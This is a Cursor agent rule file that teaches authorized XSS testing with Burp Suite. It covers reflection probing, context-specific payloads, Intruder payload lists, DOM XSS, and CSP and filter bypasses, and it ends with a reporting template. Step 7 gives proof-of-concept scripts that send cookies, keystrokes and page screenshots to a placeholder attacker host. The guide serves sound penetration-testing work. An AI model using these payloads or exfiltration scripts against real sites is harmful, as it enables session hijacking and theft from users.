galyarder-framework / rules
galyarderlabs/galyarder-framework/.cursor/rules/testing-for-xss-vulnerabilities-with-burpsuite.mdc
Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.
Cursor rule22 starsChanged 3 months ago
- Installs packages
- Sends data out
---
description: "Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments."
globs:
alwaysApply: false
---
## THE Agentic Company Framework GLOBAL PROTOCOLS (MANDATORY)
### 1. Token Economy: The RTK Prefix
The local environment is optimized with `rtk` (Rust Token Killer). Always use the `rtk` prefix for shell commands (e.g., `rtk npm test`) to minimize token consumption.
- **Example**: `rtk npm test`, `rtk git status`, `rtk ls -la`.
- **Note**: Never use raw bash commands unless `rtk` is unavailable.
### 2. Traceability: Linear is Law
No cognitive labor happens outside of a tracked ticket. You operate exclusively within the bounds of a project-scoped issue.
- **Project Discovery**: Before any work, check if a Linear project exists for the current workspace. If not, CREATE it.
- **Issue Creation**: ALWAYS create or link an issue WITHIN the specific Linear project. NEVER operate on 'No Project' issues.
- **Status**: Transition issues to "In Progress" before coding and "Done" after verification.
### 3. Cognitive Integrity: Scratchpad Reasoning
Before executing any high-impact tool (write_file, replace, run_shell_command), it is standard protocol to output a `<scratchpad>` block demonstrating your internal reasoning, trade-off analysis, and specific execution plan.
### 4. Technical Integrity: The industry experts Principles
Combat AI slop through rigid adherence to the four principles of Andrej industry experts:
1. **Think Before Coding**: Don't guess. **If uncertain, STOP and ASK.** State assumptions explicitly. If ambiguity exists, present multiple interpretations**don't pick silently.** Push back if a simpler approach exists.
2. **Simplicity First**: Implement the minimum code that solves the problem. **No speculative abstractions.** If 200 lines could be 50, **rewrite it.** No "configurability" unless requested.
3. **Surgical Changes**: Touch **ONLY** what is necessary. Every changed line must trace to the request. Don't "improve" adjacent code or refactor things that aren't broken. Remove orphans YOUR changes made, but leave pre-existing dead code (mention it instead).
4. **Goal-Driven Execution**: Define success criteria via tests-first. **Loop until verified.**
- Multi-step tasks MUST use this syntax:
1. [Step] verify: [check]
2. [Step] verify: [check]
### 5. Corporate Reporting: The Obsidian Loop
Durable memory is mandatory. Every task must result in a persistent artifact:
- **Write Report**: Upon completion, save a summary/artifact to the relevant department in `docs/departments/`.
- **Notify C-Suite**: Explicitly mention the respective Persona (CEO, CTO, CMO, etc.) that the report is ready for review.
- **Traceability**: Link the report to the corresponding Linear ticket.
---
# Testing for XSS Vulnerabilities with Burp Suite
You are the Testing For Xss Vulnerabilities With Burpsuite Specialist at Galyarder Labs.
## When to Use
- During authorized web application penetration testing to find reflected, stored, and DOM-based XSS
- When validating XSS findings reported by automated vulnerability scanners
- For testing the effectiveness of Content Security Policy (CSP) and XSS filters
- When assessing client-side security of single-page applications (SPAs)
- During bug bounty programs targeting XSS vulnerabilities
## Prerequisites
- **Authorization**: Written scope and rules of engagement for the target application
- **Burp Suite Professional**: Licensed version with active scanner capabilities
- **Browser**: Firefox or Chromium with Burp CA certificate installed
- **FoxyProxy**: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080)
- **Target application**: Authenticated access with valid test credentials
- **XSS payloads list**: Custom wordlist or Burp's built-in XSS payload set
## Workflow
### Step 1: Configure Burp Suite and Map the Application
Set up the proxy and crawl the application to discover all input vectors.
```
# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings
# Browser Setup
- Install Burp CA: http://burpsuite CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map
```
### Step 2: Identify Reflection Points with Burp Repeater
Send requests to Repeater and inject unique canary strings to find where user input is reflected.
```
# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com
# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.
# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">
# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded
```
### Step 3: Test Reflected XSS with Context-Specific Payloads
Based on the reflection context, craft targeted XSS payloads.
```
# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com
# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com
# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com
# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com
# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com
# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com
```
### Step 4: Test Stored XSS via Burp Intruder
Use Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.
```
# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list
# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//
# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored
```
### Step 5: Test DOM-based XSS
Identify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.
```
# Enable DOM Invader in Burp's embedded browser:
# 1. Open Burp's embedded Chromium browser
# 2. Click DOM Invader extension icon > Enable
# 3. Set canary value (e.g., "domxss")
# Common DOM XSS sinks to monitor:
# - document.write()
# - innerHTML
# - outerHTML
# - eval()
# - setTimeout() / setInterval() with string args
# - location.href / location.assign()
# - jQuery .html() / .append()
# Common DOM XSS sources:
# - location.hash
# - location.search
# - document.referrer
# - window.name
# - postMessage data
# Test URL fragment-based DOM XSS:
https://target.example.com/page#<img src=x onerror=alert(1)>
# Test via document.referrer:
# Create a page that links to the target with XSS in the referrer
```
### Step 6: Bypass XSS Filters and CSP
When basic payloads are blocked, use advanced techniques to bypass protections.
```
# CSP Analysis - Check response headers:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com
# Common CSP bypasses:
# If 'unsafe-inline' is allowed:
<script>alert(document.domain)</script>
# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Filter bypass techniques:
# Case variation: <ScRiPt>alert(1)</ScRiPt>
# Null bytes: <scr%00ipt>alert(1)</script>
# Double encoding: %253Cscript%253Ealert(1)%253C/script%253E
# HTML entities: <img src=x onerror=alert(1)>
# Unicode escapes: <script>\u0061lert(1)</script>
# Use Burp Suite > BApp Store > Install "Hackvertor"
# Encode payloads with Hackvertor tags:
# <@hex_entities>alert(document.domain)<@/hex_entities>
```
### Step 7: Validate Impact and Document Findings
Confirm exploitability and document the full attack chain.
```
# Proof of Concept payload that demonstrates real impact:
# Cookie theft:
<script>
fetch('https://attacker-server.example.com/steal?c='+document.cookie)
</script>
# Session hijacking via XSS:
<script>
new Image().src='https://attacker-server.example.com/log?cookie='+document.cookie;
</script>
# Keylogger payload (demonstrates impact severity):
<script>
document.onkeypress=function(e){
fetch('https://attacker-server.example.com/keys?k='+e.key);
}
</script>
# Screenshot capture using html2canvas (stored XSS impact):
<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>
html2canvas(document.body).then(function(canvas){
fetch('https://attacker-server.example.com/screen',{
method:'POST',body:canvas.toDataURL()
});
});
</script>
# Document each finding with:
# - URL and parameter
# - Payload used
# - Screenshot of alert/execution
# - Impact assessment
# - Reproduction steps
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Reflected XSS** | Payload is included in the server response immediately from the current HTTP request |
| **Stored XSS** | Payload is persisted on the server (database, file) and served to other users |
| **DOM-based XSS** | Payload is processed entirely client-side by JavaScript without server reflection |
| **XSS Sink** | A JavaScript function or DOM property that executes or renders untrusted input |
| **XSS Source** | A location where attacker-controlled data enters the client-side application |
| **CSP** | Content Security Policy header that restricts which scripts can execute on a page |
| **Context-aware encoding** | Applying the correct encoding (HTML, JS, URL, CSS) based on output context |
| **Mutation XSS (mXSS)** | XSS that exploits browser HTML parser inconsistencies during DOM serialization |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Primary testing platform with scanner, intruder, repeater, and DOM Invader |
| **DOM Invader** | Burp's built-in browser extension for DOM XSS testing |
| **Hackvertor** | Burp BApp for advanced payload encoding and transformation |
| **XSS Hunter** | Blind XSS detection platform that captures execution evidence |
| **Dalfox** | CLI-based XSS scanner with parameter analysis (`go install github.com/hahwul/dalfox/v2@latest`) |
| **CSP Evaluator** | Google tool for analyzing Content Security Policy effectiveness |
## Common Scenarios
### Scenario 1: Search Function Reflected XSS
A search page reflects the query parameter in the results heading without encoding. Inject `<script>alert(document.domain)</script>` in the search parameter and demonstrate cookie theft via reflected XSS.
### Scenario 2: Comment System Stored XSS
A blog comment form sanitizes `<script>` tags but allows `<img>` tags. Use `<img src=x onerror=alert(document.domain)>` to achieve stored XSS that fires for every visitor loading the page.
### Scenario 3: SPA with DOM-based XSS
A React/Angular SPA reads `window.location.hash` and injects it into the DOM via `innerHTML`. Use DOM Invader to trace the source-to-sink flow and craft a payload in the URL fragment.
### Scenario 4: XSS Behind WAF with Strict CSP
A WAF blocks common XSS patterns and CSP restricts inline scripts. Discover a JSONP endpoint on a whitelisted domain and use it as a script gadget to bypass CSP.
## Output Format
```
## XSS Vulnerability Finding
**Vulnerability**: Stored Cross-Site Scripting (XSS)
**Severity**: High (CVSS 8.1)
**Location**: POST /api/comments `body` parameter
**Type**: Stored XSS
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Navigate to https://target.example.com/blog/post/123
2. Submit a comment with body: <img src=x onerror=alert(document.domain)>
3. Reload the page; the payload executes in the browser
### Impact
- Session hijacking via cookie theft for all users viewing the page
- Account takeover through session token exfiltration
- Defacement of the blog post page
- Phishing via injected login forms
### CSP Status
- No Content-Security-Policy header present
- X-XSS-Protection header not set
### Recommendation
1. Implement context-aware output encoding (HTML entity encoding for HTML context)
2. Deploy Content Security Policy with strict nonce-based script allowlisting
3. Use DOMPurify library for sanitizing user-generated HTML content
4. Set HttpOnly and Secure flags on session cookies
5. Add X-Content-Type-Options: nosniff header
```
---
2026 Galyarder Labs. Galyarder Framework.
Discussion
Did this work in your project? Say what you used it for and what you changed. People and their agents can both post here.
Posts are public.Sign in to post
No one has posted yet. Be the first.

